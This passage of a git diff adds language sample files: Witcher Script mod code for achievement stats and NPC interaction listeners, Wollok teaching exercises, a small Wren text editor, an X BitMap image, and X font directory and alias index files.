+        if (!theGame.GetInGameConfigWrapper().GetVarValue('ModStatTrak', 'AllowSpoilers'))
+        {
+            if (currentName == "Rad Steez, Bro!" || currentName == "Moo-rderer")
+            {
+                // Don't print and continue the loop
+                continue;
+            }
+        }
+
+        if (i != 0)
+        {
+            achievementString += "<br><br>" + currentRawName + ": " + "<font color='#00ff00'>" + currentVal + "</font>" + "<br>" + "Achievement: " + "<font color='#0088ff'>" + currentName + "</font>";
+        }
+        else
+        {
+            // Don't add beginning newline for first element
+            achievementString += currentRawName + ": " + "<font color='#00ff00'>" + currentVal + "</font>" + "<br>" + "Achievement: " + "<font color='#0088ff'>" + currentName + "</font>";
+        }
+    }
+
+    // Return final formatted string
+    return achievementString;
+}
+
+//------------------------
+// EXEC FUNCTIONS
+//------------------------
+exec function getAllAchievementStats()
+{
+    // Define vars for adding notification for all achievement stats
+    var statList : array<EStatistic>;
+    var formattedStats : string;
+    
+    // Get data
+    statList = getAchievementStats();
+    formattedStats = getFormattedAchievementStats(statList);
+
+    // Add notification
+    theGame.GetGuiManager().ShowNotification(formattedStats);
+}
+
+// TODO: Fix getting a single achievement stat
+/*exec function getAchievementStat(statEnum : EStatistic)
+{
+    // Define vars for adding notification for specific stat
+    var rawName : string;
+    var achName : string;
+    var val : int;
+
+    // Get data
+    rawName = getAchievementStatNameRaw(statEnum);
+    achName = getAchievementStatVal(statEnum);
+    val = getAchievementStatVal(statEnum);
+
+    // Print to notification
+    theGame.GetGuiManager().ShowNotification(rawName + ": " + "<font color='#00ff00'>" + val + "</font>" + "<br>" + "Achievement: " + "<font color='#0088ff'>" + val);
+}*/
diff --git a/samples/Witcher Script/npc_interaction.ws b/samples/Witcher Script/npc_interaction.ws
new file mode 100644
index 0000000000..4cc18dd7c8
--- /dev/null
+++ b/samples/Witcher Script/npc_interaction.ws	
@@ -0,0 +1,102 @@
+/**
+ * SOURCE: https://github.com/Aelto/tw3-shared-utils
+ * LICENSE: https://github.com/Aelto/tw3-shared-utils/blob/master/LICENSE
+ */
+
+
+/**
+ * This is the abstract class for the event listener. If you want to add an event
+ * listener to an NPC in order to run your custom code, create a new class that
+ * extends `SU_InteractionEventListener` and override the `run` method.
+ */
+abstract class SU_InteractionEventListener {
+
+  /**
+   * The tag is not used by the code, but it could be useful in case you want to
+   * verify if an NPC already has an event listener with a specific tag.
+   * It's your only way to identify the event listeners without doing a full
+   * bitwise comparison.
+   */
+  public var tag: string;
+  default tag = "None";
+
+  /**
+   * This method is run whenever the NPC had his interaction event triggered.
+   * You get as parameters the actionName as well as the activator, those two
+   * parameters are the default parameters the CNewNPC::OnInteraction event has
+   * and then this method has a third parameter that is the NPC the player
+   * interacted with.
+   */
+  public function run(actionName : string, activator : CEntity, receptor: CPeristentEntity): bool {
+    /**
+     * The return value here dictactes if the CNewNPC::OnInteraction event should
+     * continue after your code or if it should end.
+     * A return value of `false` will tell the event to stop there and not go
+     * any further.
+     */
+    return true;
+  }
+
+}
+
+function SU_NpcInteraction_runAllInteractionListeners(actionName: string, activator: CEntity, receptor: CEntity): bool {
+  var current_event_listener: SU_InteractionEventListener;
+  var persistent_entity: CPeristentEntity;
+  var should_event_continue: bool;
+  var i: int;
+
+  should_event_continue = true;
+
+  if ((CPeristentEntity)receptor) {
+    persistent_entity = (CPeristentEntity)receptor;
+
+    for (i = 0; i < persistent_entity.onInteractionEventListeners.Size(); i += 1) {
+      current_event_listener = persistent_entity.onInteractionEventListeners[i];
+
+      should_event_continue = should_event_continue && current_event_listener.run(
+        actionName,
+        activator,
+        persistent_entity
+      );
+    }
+  }
+
+
+  return should_event_continue;
+}
+
+function SU_NpcInteraction_hasEventListenerWithTag(npc: CPeristentEntity, tag: string): bool {
+  var current_event_listener: SU_InteractionEventListener;
+  var i: int;
+
+  for (i = 0; i < npc.onInteractionEventListeners.Size(); i += 1) {
+    current_event_listener = npc.onInteractionEventListeners[i];
+    
+    if (current_event_listener.tag == tag) {
+      return true;
+    }
+  }
+
+  return false;
+}
+
+function SU_removeInteractionEventListenerByTag(npc: CPeristentEntity, tag: string) {
+  var current_event_listener: SU_InteractionEventListener;
+  var i: int;
+  
+  for (i = 0; i < npc.onInteractionEventListeners.Size(); i += 1) {
+    current_event_listener = npc.onInteractionEventListeners[i];
+
+    if (current_event_listener.tag != tag) {
+      continue;
+    }
+
+    if (i == npc.onInteractionEventListeners.Size() - 1) {
+      npc.onInteractionEventListeners.PopBack();
+      continue;
+    }
+
+    npc.onInteractionEventListeners.Erase(i);
+    i -= 1;
+  }
+}
diff --git a/samples/Wollok/pepita.wlk b/samples/Wollok/pepita.wlk
new file mode 100644
index 0000000000..4bee2e5d1d
--- /dev/null
+++ b/samples/Wollok/pepita.wlk
@@ -0,0 +1,41 @@
+object pepita {
+	var energia = 100
+	var ubicacion = 0
+
+	method energia() = energia
+
+	method volar(km) {
+		console.println("")
+		energia -= (2 * km) + 10
+	}
+
+	method comer(comida) {
+		energia += comida.energia()
+	}
+
+	method ubicacion() = ubicacion
+
+	method volarA(lugar) {
+		energia -= ubicacion - lugar.ubicacion()
+		ubicacion = lugar.ubicacion()
+	}
+
+	method puedeIrA(lugar) {
+
+	}
+
+}
+
+object alpiste {
+	const energia = 10
+
+	method energia() = energia
+}
+
+object pepona {
+	var property energia = 50
+
+	method comer(comida) {
+		energia += comida.energia()
+	}
+}
diff --git a/samples/Wollok/piratas.wlk b/samples/Wollok/piratas.wlk
new file mode 100644
index 0000000000..16b1ca5b3c
--- /dev/null
+++ b/samples/Wollok/piratas.wlk
@@ -0,0 +1,63 @@
+class Pirata {
+	const items = []
+	var dinero
+	var nivelEbriedad
+
+	constructor(itemsPirata) {
+		items = itemsPirata
+	}
+
+	method items() {
+		return items
+	}
+
+	method dinero() {
+		return dinero
+	}
+
+	method nivelEbriedad() {
+		return nivelEbriedad
+	}
+}
+
+class PirataAbstemio inherits Pirata {
+  override method nivelEbriedad() = 0
+}
+
+object buscarTesoro {
+	method puedeSerCumplidaPor(pirata) {
+		return (pirata.items().contains("brujula") || pirata.items().contains("mapa") || pirata.items().contains("botellaGrogXD")) &&
+			(pirata.dinero() <= 5) && (pirata.nivelEbriedad() < 3)
+	}
+}
+
+object serLeyenda {
+	const itemObligatorio = "dienteDeOro"
+
+	method puedeSerCumplidaPor(pirata) {
+		return pirata.items().size() == 7 && pirata.items().contains(itemObligatorio)
+	}
+
+}
+
+object saquear {
+	//var victima = barcoPirata
+	//var saqueador = barcoPirata2
+	var cantidadDeDineroMaxima = 5
+
+	method puedeSerCumplidaPor(pirata) {
+		//return pirata.dinero() < cantidadDeDineroMaxima && victima.esVulnerablePara(pirata)
+	}
+}
+
+object main {
+
+	var p = new Pirata(["brujula", "cuchillo", "cuchillo"])
+	//var barco = new Barco()
+
+	method p() {
+		return p
+	}
+
+
+}
diff --git a/samples/Wren/main.wren b/samples/Wren/main.wren
new file mode 100644
index 0000000000..9d6bcb9d1a
--- /dev/null
+++ b/samples/Wren/main.wren
@@ -0,0 +1,284 @@
+// Lines - A small text editor
+
+import "graphics" for Canvas, Color
+import "font" for Font
+import "dome" for Platform, Process, Window
+import "input" for Keyboard
+import "io" for FileSystem 
+
+// var DefaultFont = "/usr/share/fonts/truetype/piboto/Piboto-Regular.ttf"
+// var DefaultFont = "/usr/share/fonts/truetype/noto/NotoMono-Regular.ttf"
+var DefaultFont = "UbuntuMono-R.ttf"
+var FontSize = 16
+var LineHeight = FontSize + 4
+var BackgroundColor = Color.black
+
+class Text {
+
+  // https://rosettacode.org/wiki/Category_talk:Wren-fmt
+  static rjust(s, w) {
+    var c = s.count
+    return (w > c) ? " " * (w - c) + s : s
+  }
+
+  gutterWidth {
+    var area = Canvas.getPrintArea(_lines.count.max(10).toString)
+    return area.x + 4
+  }
+
+  gutterPrint(lineNumber, y) {
+    var w = _lines.count.max(10).toString.count
+    Canvas.print(Text.rjust(lineNumber.toString, w), 2, y, Color.white)
+  }
+
+  count {
+    return _lines.count
+  }
+
+  [index] {
+    return _lines[index]
+  }
+
+  cursorX { 
+    var lineLength = _lines[_y].count
+    return _x.min(lineLength)
+  }
+  cursorX=(value) { _x = value }
+  cursorY { _y }
+  cursorY=(value) { _y = value }
+  currentLine { _lines[_y] }
+  currentLine=(value) { 
+    _lines[_y] = value
+    System.print("Ln(%(_y)): %(value)")
+  }
+
+  splitCurrentLine() {
+    var line = currentLine
+    var prefix = line[0...cursorX]
+    var suffix = line[cursorX..-1]
+    currentLine = prefix
+    cursorY = cursorY + 1
+    _lines.insert(cursorY, suffix)
+    cursorX = 0  
+  }
+
+  joinCurrentLine() {
+    var line = currentLine
+    _lines.removeAt(cursorY)
+    cursorY = cursorY - 1
+    cursorX = currentLine.count
+    currentLine = currentLine + line
+  }
+
+  visibleLinesCount { _visibleLines.count }
+
+  construct new(text) {
+    _lines = text.split("\n")
+    _visibleLines = []
+    _x = 0
+    _y = 0
+  }
+
+  static load(fileName) {
+    return Text.new(FileSystem.load(fileName))
+  }
+
+  save(fileName) {
+    FileSystem.save(fileName, _lines.join("\n"))
+  }
+
+  // Split a single line into a list of short lines to fit into a given width
+  static fit(line, width) {
+    var area = Canvas.getPrintArea(line)
+    
+    if (area.x <= width) {
+      return [ line ]
+    }
+    
+    var split = (line.count * width / area.x).floor
+
+    var lines = Text.fit(line[0...split], width)
+    lines.addAll(Text.fit(line[split..-1], width))
+    
+    return lines
+  }
+
+  // Fit a list of lines 
+  fit(topLineNumber, height) {
+    _visibleLines = []
+
+    var lineNumber = 0
+    var textWidth = Canvas.width - gutterWidth - 4
+    var linesCount = (height / LineHeight).floor.min(_lines.count)
+
+    for (line in _lines[topLineNumber...(topLineNumber + linesCount)]) {
+      var shortLines = Text.fit(line, textWidth)
+      var visibleCount = (linesCount - lineNumber).min(shortLines.count)
+      _visibleLines.add(shortLines[0...visibleCount])
+
+      lineNumber = lineNumber + visibleCount
+      if (lineNumber >= linesCount) {
+        break
+      }
+    }
+
+    //_y = _y.min(topLineNumber + _visibleLines.count - 1)
+
+    System.print("Fit: %(topLineNumber) -> %(_visibleLines.count)")
+  }
+
+  print(topLineNumber, cursorOn) {
+    var y = 6
+    var lineNumber = topLineNumber
+    var gw = gutterWidth
+
+    for (line in _visibleLines) {
+      gutterPrint(lineNumber + 1, y)
+
+      var lineLength = _lines[lineNumber].count
+
+      // If the cursor is further right than the total line length
+      var realCursorX = cursorX
+
+      var offsetX = 0
+      var offsetY = 0
+      for (shortLine in line) {
+        Canvas.print(shortLine, gw + 4, y, Color.white)
+
+        // Cursor can be placed within or at the end of the logical line
+        if (cursorOn && lineNumber == cursorY && realCursorX >= offsetX && (realCursorX < offsetX + shortLine.count || offsetY == line.count - 1 && realCursorX == lineLength)) {  
+          var end = realCursorX - offsetX
+          //System.print("%(shortLine). len=%(shortLine.count) realX=%(realCursorX) offsX=%(offsetX) end=%(end)")
+         
+          var prefixArea = Canvas.getPrintArea(shortLine[0 ... end])
+          Canvas.rectfill(gw + 2 + prefixArea.x, y - 2, 2, FontSize, Color.green)
+        }
+
+        y = y + LineHeight
+        offsetY = offsetY + 1
+        offsetX = offsetX + shortLine.count
+      }
+      lineNumber = lineNumber + 1
+    }
+  }
+}
+
+class Main {
+
+  construct new() {}
+
+  init() {
+    Font.load("default", DefaultFont, FontSize)
+    Font["default"].antialias = true
+    Canvas.font = "default"
+
+    var args = Process.args[2..-1]
+
+    _fileName = args.count > 0 ? args[0] : "README.md"
+
+    Window.title = "DomeEdit: %(_fileName)"
+    //Window.lockstep = true
+
+    Keyboard.handleText = true
+
+    _text = Text.load(_fileName)
+    _topLineNumber = 0
+    _cursorOn = true
+    _dirty = false
+    _changes = false
+
+    resize()
+  }
+
+  resize() {
+    System.print("Resize -> %(Window.width), %(Window.height)")
+    Canvas.resize(Window.width, Window.height, BackgroundColor)
+    _statusY = Canvas.height - FontSize - 4
+
+    _text.fit(_topLineNumber, _statusY)
+  }
+
+  save() {
+    _text.save(_fileName)
+    _dirty = false
+  }
+
+  update() {
+    if (Canvas.width != Window.width || Canvas.height != Window.height) {
+      resize()
+    }
+    _cursorOn = Platform.time % 2 == 1
+
+    var line = _text.currentLine
+    var cursorX = _text.cursorX 
+
+    if (Keyboard.text.count > 0) {
+      _text.currentLine = line[0...cursorX] + Keyboard.text + line[cursorX..-1]
+      _text.cursorX = cursorX + Keyboard.text.count  
+      _text.fit(_topLineNumber, _statusY)
+      _dirty = true
+    } else if (Keyboard["backspace"].justPressed) {
+      if (_text.cursorX > 0) {
+        _text.currentLine = line[0...(cursorX - 1)] + line[cursorX..-1]
+        _text.cursorX = cursorX - 1  
+      } else if (_text.cursorY > 0) {
+        _text.joinCurrentLine()
+      }
+      _text.fit(_topLineNumber, _statusY)
+    } else if (Keyboard["return"].justPressed) {
+      _text.splitCurrentLine()
+      _text.fit(_topLineNumber, _statusY)
+      _dirty = true
+    } else if (Keyboard["up"].justPressed) {
+      _cursorOn = true
+      if (_text.cursorY > 0) {
+        _text.cursorY = _text.cursorY - 1
+      }
+      if (_text.cursorY < _topLineNumber) {
+        _topLineNumber = _topLineNumber - 1
+        _text.fit(_topLineNumber, _statusY)
+      }
+    } else if (Keyboard["down"].justPressed) {
+      _cursorOn = true
+      if (_text.cursorY < _text.count - 1) {
+        _text.cursorY = _text.cursorY + 1
+      }
+      if (_text.cursorY >= _topLineNumber + _text.visibleLinesCount) {
+        _topLineNumber = _topLineNumber + 1
+        _text.fit(_topLineNumber, _statusY)
+      }
+    } else if (Keyboard["left"].justPressed) {
+      _cursorOn = true
+      if (_text.cursorX > 0) {
+        _text.cursorX = _text.cursorX - 1
+      }
+    } else if (Keyboard["right"].justPressed) {
+      _cursorOn = true
+      if (_text.cursorX < _text.currentLine.count) {
+        _text.cursorX = _text.cursorX + 1
+      }
+    } else if ((Keyboard["left ctrl"].down || Keyboard["right ctrl"].down) && Keyboard["s"].justPressed) {
+      save()
+    }
+  }
+
+  draw(alpha) {
+    Canvas.cls(BackgroundColor)
+
+    var gutterWidth = _text.gutterWidth
+
+    // Status line
+    Canvas.rectfill(0, _statusY, Canvas.width, FontSize + 4, Color.darkblue)
+    Canvas.print("%(_fileName) %(_text.cursorY+1):%(_text.cursorX+1)", gutterWidth + 4, _statusY + 4, Color.white)
+    if (_dirty) {
+      Canvas.print("*", 6, _statusY + 6, Color.white)
+    }
+
+    // Gutter
+    Canvas.rectfill(0, 0, gutterWidth, Canvas.height - FontSize - 4, Color.darkblue)
+
+    _text.print(_topLineNumber, _cursorOn)
+  }
+}
+
+var Game = Main.new()
diff --git a/samples/X BitMap/image.xbm b/samples/X BitMap/image.xbm
new file mode 100644
index 0000000000..f041ca46ec
--- /dev/null
+++ b/samples/X BitMap/image.xbm	
@@ -0,0 +1,36 @@
+#define image_width 32
+#define image_height 32
+static unsigned char image_bits[] = {
+	0x00, 0xF0, 0x0F, 0x00,
+	0x00, 0xFE, 0x7F, 0x00,
+	0x00, 0xFF, 0xFF, 0x00,
+	0xC0, 0x1F, 0xF8, 0x03,
+	0xE0, 0x03, 0xC0, 0x07,
+	0xF0, 0x01, 0x00, 0x0F,
+	0x78, 0x00, 0x00, 0x1E,
+	0x38, 0xC0, 0x0F, 0x3C,
+	0x3C, 0xE0, 0x1F, 0x38,
+	0x3E, 0xF0, 0x1F, 0x78,
+	0xFE, 0xF9, 0x1F, 0x70,
+	0xFE, 0xFF, 0x1C, 0x70,
+	0xEF, 0x7F, 0x00, 0xE0,
+	0x07, 0x7F, 0x00, 0xE0,
+	0x07, 0xFE, 0x03, 0xE0,
+	0x07, 0xFE, 0x0F, 0xE0,
+	0x07, 0x9E, 0x3F, 0xE0,
+	0x07, 0x1E, 0xFE, 0xE0,
+	0x07, 0x3E, 0xF8, 0xE3,
+	0x0F, 0x7E, 0xE0, 0xFF,
+	0x0E, 0xFC, 0x9C, 0xFF,
+	0x0E, 0xFC, 0x1F, 0x7E,
+	0x1E, 0xF8, 0x1F, 0x78,
+	0x1C, 0xF0, 0x1F, 0x38,
+	0x38, 0xE0, 0x0F, 0x3C,
+	0x78, 0x00, 0x00, 0x1E,
+	0xF0, 0x00, 0x00, 0x0F,
+	0xE0, 0x03, 0xC0, 0x07,
+	0xC0, 0x0F, 0xF0, 0x03,
+	0x80, 0xFF, 0xFF, 0x01,
+	0x00, 0xFE, 0x7F, 0x00,
+	0x00, 0xF0, 0x1F, 0x00,
+};
diff --git a/samples/X Font Directory Index/filenames/encodings.dir b/samples/X Font Directory Index/filenames/encodings.dir
new file mode 100644
index 0000000000..507672f920
--- /dev/null
+++ b/samples/X Font Directory Index/filenames/encodings.dir	
@@ -0,0 +1,65 @@
+64
+adobe-dingbats /opt/X11/share/fonts/encodings/adobe-dingbats.enc.gz
+adobe-standard /opt/X11/share/fonts/encodings/adobe-standard.enc.gz
+adobe-symbol /opt/X11/share/fonts/encodings/adobe-symbol.enc.gz
+armscii-8 /opt/X11/share/fonts/encodings/armscii-8.enc.gz
+ascii-0 /opt/X11/share/fonts/encodings/ascii-0.enc.gz
+big5-0 /opt/X11/share/fonts/encodings/large/big5.eten-0.enc.gz
+big5.cp950-0 /opt/X11/share/fonts/encodings/large/big5.eten-0.enc.gz
+big5.eten-0 /opt/X11/share/fonts/encodings/large/big5.eten-0.enc.gz
+big5hkscs-0 /opt/X11/share/fonts/encodings/large/big5hkscs-0.enc.gz
+cns11643-1 /opt/X11/share/fonts/encodings/large/cns11643-1.enc.gz
+cns11643-1 /opt/X11/share/fonts/encodings/large/cns11643-1.enc.gz
+cns11643-2 /opt/X11/share/fonts/encodings/large/cns11643-2.enc.gz
+cns11643-2 /opt/X11/share/fonts/encodings/large/cns11643-2.enc.gz
+cns11643-3 /opt/X11/share/fonts/encodings/large/cns11643-3.enc.gz
+cns11643-3 /opt/X11/share/fonts/encodings/large/cns11643-3.enc.gz
+dec-special /opt/X11/share/fonts/encodings/dec-special.enc.gz
+gb18030-0 /opt/X11/share/fonts/encodings/large/gb18030-0.enc.gz
+gb18030.2000-0 /opt/X11/share/fonts/encodings/large/gb18030.2000-0.enc.gz
+gb18030.2000-1 /opt/X11/share/fonts/encodings/large/gb18030.2000-1.enc.gz
+gb2312.1980-0 /opt/X11/share/fonts/encodings/large/gb2312.1980-0.enc.gz
+gbk-0 /opt/X11/share/fonts/encodings/large/gbk-0.enc.gz
+ibm-cp437 /opt/X11/share/fonts/encodings/ibm-cp437.enc.gz
+ibm-cp850 /opt/X11/share/fonts/encodings/ibm-cp850.enc.gz
+ibm-cp852 /opt/X11/share/fonts/encodings/ibm-cp852.enc.gz
+ibm-cp866 /opt/X11/share/fonts/encodings/ibm-cp866.enc.gz
+iso8859-11 /opt/X11/share/fonts/encodings/iso8859-11.enc.gz
+iso8859-13 /opt/X11/share/fonts/encodings/iso8859-13.enc.gz
+iso8859-16 /opt/X11/share/fonts/encodings/iso8859-16.enc.gz
+iso8859-6.16 /opt/X11/share/fonts/encodings/iso8859-6.16.enc.gz
+iso8859-6.8x /opt/X11/share/fonts/encodings/iso8859-6.8x.enc.gz
+jisx0201.1976-0 /opt/X11/share/fonts/encodings/large/jisx0201.1976-0.enc.gz
+jisx0208.1983-0 /opt/X11/share/fonts/encodings/large/jisx0208.1990-0.enc.gz
+jisx0208.1990-0 /opt/X11/share/fonts/encodings/large/jisx0208.1990-0.enc.gz
+jisx0212.1990-0 /opt/X11/share/fonts/encodings/large/jisx0212.1990-0.enc.gz
+ksc5601.1987-0 /opt/X11/share/fonts/encodings/large/ksc5601.1987-0.enc.gz
+ksc5601.1992-3 /opt/X11/share/fonts/encodings/large/ksc5601.1992-3.enc.gz
+ksx1001.1997-0 /opt/X11/share/fonts/encodings/large/ksc5601.1987-0.enc.gz
+ksx1001.1998-0 /opt/X11/share/fonts/encodings/large/ksc5601.1987-0.enc.gz
+ksx1001.1998-3 /opt/X11/share/fonts/encodings/large/ksc5601.1992-3.enc.gz
+ksxjohab-1 /opt/X11/share/fonts/encodings/large/ksc5601.1992-3.enc.gz
+microsoft-ansi /opt/X11/share/fonts/encodings/microsoft-cp1252.enc.gz
+microsoft-cp1250 /opt/X11/share/fonts/encodings/microsoft-cp1250.enc.gz
+microsoft-cp1251 /opt/X11/share/fonts/encodings/microsoft-cp1251.enc.gz
+microsoft-cp1252 /opt/X11/share/fonts/encodings/microsoft-cp1252.enc.gz
+microsoft-cp1253 /opt/X11/share/fonts/encodings/microsoft-cp1253.enc.gz
+microsoft-cp1254 /opt/X11/share/fonts/encodings/microsoft-cp1254.enc.gz
+microsoft-cp1255 /opt/X11/share/fonts/encodings/microsoft-cp1255.enc.gz
+microsoft-cp1256 /opt/X11/share/fonts/encodings/microsoft-cp1256.enc.gz
+microsoft-cp1257 /opt/X11/share/fonts/encodings/microsoft-cp1257.enc.gz
+microsoft-cp1258 /opt/X11/share/fonts/encodings/microsoft-cp1258.enc.gz
+microsoft-win3.1 /opt/X11/share/fonts/encodings/microsoft-win3.1.enc.gz
+mulearabic-0 /opt/X11/share/fonts/encodings/mulearabic-0.enc.gz
+mulearabic-1 /opt/X11/share/fonts/encodings/mulearabic-1.enc.gz
+mulearabic-2 /opt/X11/share/fonts/encodings/mulearabic-2.enc.gz
+mulelao-1 /opt/X11/share/fonts/encodings/mulelao-1.enc.gz
+sun.unicode.india-0 /opt/X11/share/fonts/encodings/large/sun.unicode.india-0.enc.gz
+suneu-greek /opt/X11/share/fonts/encodings/suneu-greek.enc.gz
+tcvn-0 /opt/X11/share/fonts/encodings/tcvn-0.enc.gz
+tis620-0 /opt/X11/share/fonts/encodings/iso8859-11.enc.gz
+tis620-2 /opt/X11/share/fonts/encodings/tis620-2.enc.gz
+tis620.2529-1 /opt/X11/share/fonts/encodings/iso8859-11.enc.gz
+tis620.2533-0 /opt/X11/share/fonts/encodings/iso8859-11.enc.gz
+tis620.2533-1 /opt/X11/share/fonts/encodings/iso8859-11.enc.gz
+viscii1.1-1 /opt/X11/share/fonts/encodings/viscii1.1-1.enc.gz
diff --git a/samples/X Font Directory Index/filenames/fonts.alias b/samples/X Font Directory Index/filenames/fonts.alias
new file mode 100644
index 0000000000..bac680b7b5
--- /dev/null
+++ b/samples/X Font Directory Index/filenames/fonts.alias	
@@ -0,0 +1,39 @@
+! This is Alhadis's `fonts.alias' file, taken from his OpenBSD
+! install's `/usr/X11R6/lib/X11/fonts/100dpi/' directory.
+FONT_NAME_ALIASES
+lucidasans-bolditalic-8 -b&h-lucida-bold-i-normal-sans-11-80-100-100-p-69-iso8859-1
+lucidasans-bolditalic-10 -b&h-lucida-bold-i-normal-sans-14-100-100-100-p-90-iso8859-1
+lucidasans-bolditalic-12 -b&h-lucida-bold-i-normal-sans-17-120-100-100-p-108-iso8859-1
+lucidasans-bolditalic-14 -b&h-lucida-bold-i-normal-sans-20-140-100-100-p-127-iso8859-1
+lucidasans-bolditalic-18 -b&h-lucida-bold-i-normal-sans-25-180-100-100-p-159-iso8859-1
+lucidasans-bolditalic-24 -b&h-lucida-bold-i-normal-sans-34-240-100-100-p-215-iso8859-1
+lucidasans-bold-8 -b&h-lucida-bold-r-normal-sans-11-80-100-100-p-70-iso8859-1
+lucidasans-bold-10 -b&h-lucida-bold-r-normal-sans-14-100-100-100-p-89-iso8859-1
+lucidasans-bold-12 -b&h-lucida-bold-r-normal-sans-17-120-100-100-p-108-iso8859-1
+lucidasans-bold-14 -b&h-lucida-bold-r-normal-sans-20-140-100-100-p-127-iso8859-1
+lucidasans-bold-18 -b&h-lucida-bold-r-normal-sans-25-180-100-100-p-158-iso8859-1
+lucidasans-bold-24 -b&h-lucida-bold-r-normal-sans-34-240-100-100-p-216-iso8859-1
+lucidasans-italic-8 -b&h-lucida-medium-i-normal-sans-11-80-100-100-p-62-iso8859-1
+lucidasans-italic-10 -b&h-lucida-medium-i-normal-sans-14-100-100-100-p-80-iso8859-1
+lucidasans-italic-12 -b&h-lucida-medium-i-normal-sans-17-120-100-100-p-97-iso8859-1
+lucidasans-italic-14 -b&h-lucida-medium-i-normal-sans-20-140-100-100-p-114-iso8859-1
+lucidasans-italic-18 -b&h-lucida-medium-i-normal-sans-25-180-100-100-p-141-iso8859-1
+lucidasans-italic-24 -b&h-lucida-medium-i-normal-sans-34-240-100-100-p-192-iso8859-1
+"lucidasans-8 with spaces attached" "-b&h-lucida-medium-r-normal-sans-11-80-100-100-p-63-iso8859-1"
+"lucidasans-10 with spaces attached too" "-b&h-\"lucida-medium\"-r-normal-sans-14-100-100-100-p-80-iso8859-1"
+lucidasans-12 -b&h-lucida-medium-r-normal-sans-17-120-100-100-p-96-iso8859-1
+lucidasans-14 -b&h-lucida-medium-r-normal-sans-20-140-100-100-p-114-iso8859-1
+lucidasans-18 -b&h-lucida-medium-r-normal-sans-25-180-100-100-p-142-iso8859-1
+lucidasans-24 -b&h-lucida-medium-r-normal-sans-34-240-100-100-p-191-iso8859-1
+lucidasanstypewriter-bold-8 -b&h-lucidatypewriter-bold-r-normal-sans-11-80-100-100-m-70-iso8859-1
+lucidasanstypewriter-bold-10 -b&h-lucidatypewriter-bold-r-normal-sans-14-100-100-100-m-80-iso8859-1
+lucidasanstypewriter-bold-12 -b&h-lucidatypewriter-bold-r-normal-sans-17-120-100-100-m-100-iso8859-1
+lucidasanstypewriter-bold-14 -b&h-lucidatypewriter-bold-r-normal-sans-20-140-100-100-m-120-iso8859-1
+lucidasanstypewriter-bold-18 -b&h-lucidatypewriter-bold-r-normal-sans-25-180-100-100-m-150-iso8859-1
+lucidasanstypewriter-bold-24 -b&h-lucidatypewriter-bold-r-normal-sans-34-240-100-100-m-200-iso8859-1
+lucidasanstypewriter-8 -b&h-lucidatypewriter-medium-r-normal-sans-11-80-100-100-m-70-iso8859-1
+lucidasanstypewriter-10 -b&h-lucidatypewriter-medium-r-normal-sans-14-100-100-100-m-80-iso8859-1
+lucidasanstypewriter-12 -b&h-lucidatypewriter-medium-r-normal-sans-17-120-100-100-m-100-iso8859-1
+lucidasanstypewriter-14 -b&h-lucidatypewriter-medium-r-normal-sans-20-140-100-100-m-120-iso8859-1
+lucidasanstypewriter-18 -b&h-lucidatypewriter-medium-r-normal-sans-25-180-100-100-m-150-iso8859-1
+lucidasanstypewriter-24 -b&h-lucidatypewriter-medium-r-normal-sans-34-240-100-100-m-200-iso8859-1
diff --git a/samples/X Font Directory Index/filenames/fonts.dir b/samples/X Font Directory Index/filenames/fonts.dir
new file mode 100644
index 0000000000..1e95a63b2e
--- /dev/null
+++ b/samples/X Font Directory Index/filenames/fonts.dir	
@@ -0,0 +1,475 @@
+474
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-ibm-cp437
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-ibm-cp866
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-16
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-2
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-3
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-4
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-5
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-iso8859-9
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-koi8-e
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-koi8-r
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-koi8-ru
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-koi8-u
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-koi8-uni
+SourceCodePro-Black.otf -adobe-source code pro black-black-r-normal--0-0-0-0-m-0-microsoft-cp1252
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-ascii-0
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-ibm-cp850
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-ibm-cp852
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso10646-1
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-1
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-10
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-13
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-15
+SourceCodePro-BlackIt.otf -adobe-source code pro black-black-i-normal--0-0-0-0-m-0-iso8859-16
